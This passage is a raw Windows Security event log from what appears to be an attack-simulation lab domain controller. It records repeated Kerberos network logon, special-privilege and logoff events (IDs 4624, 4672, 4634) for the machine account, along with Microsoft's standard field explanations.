IDs are only unique between reboots on the same computer. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248463 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB4944 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63925 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248462 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB4944 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248461 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB48D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248460 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB48D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63924 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248459 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB48D1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248458 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB41A6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248457 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB41A6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63923 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248456 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB41A6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248482 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6357 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248481 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6357 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63931 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248480 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6357 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248479 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB62E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248478 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB62E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63930 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248477 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB62E4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248476 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6268 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248475 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB6268 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63929 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248474 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6268 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248473 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB61F6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248472 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB61F6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63928 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248471 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB61F6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248494 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB773A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248493 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB773A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63935 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248492 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB773A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248491 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB76CB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248490 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB76CB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63934 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248489 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB76CB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248488 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7657 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248487 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7657 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63933 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. 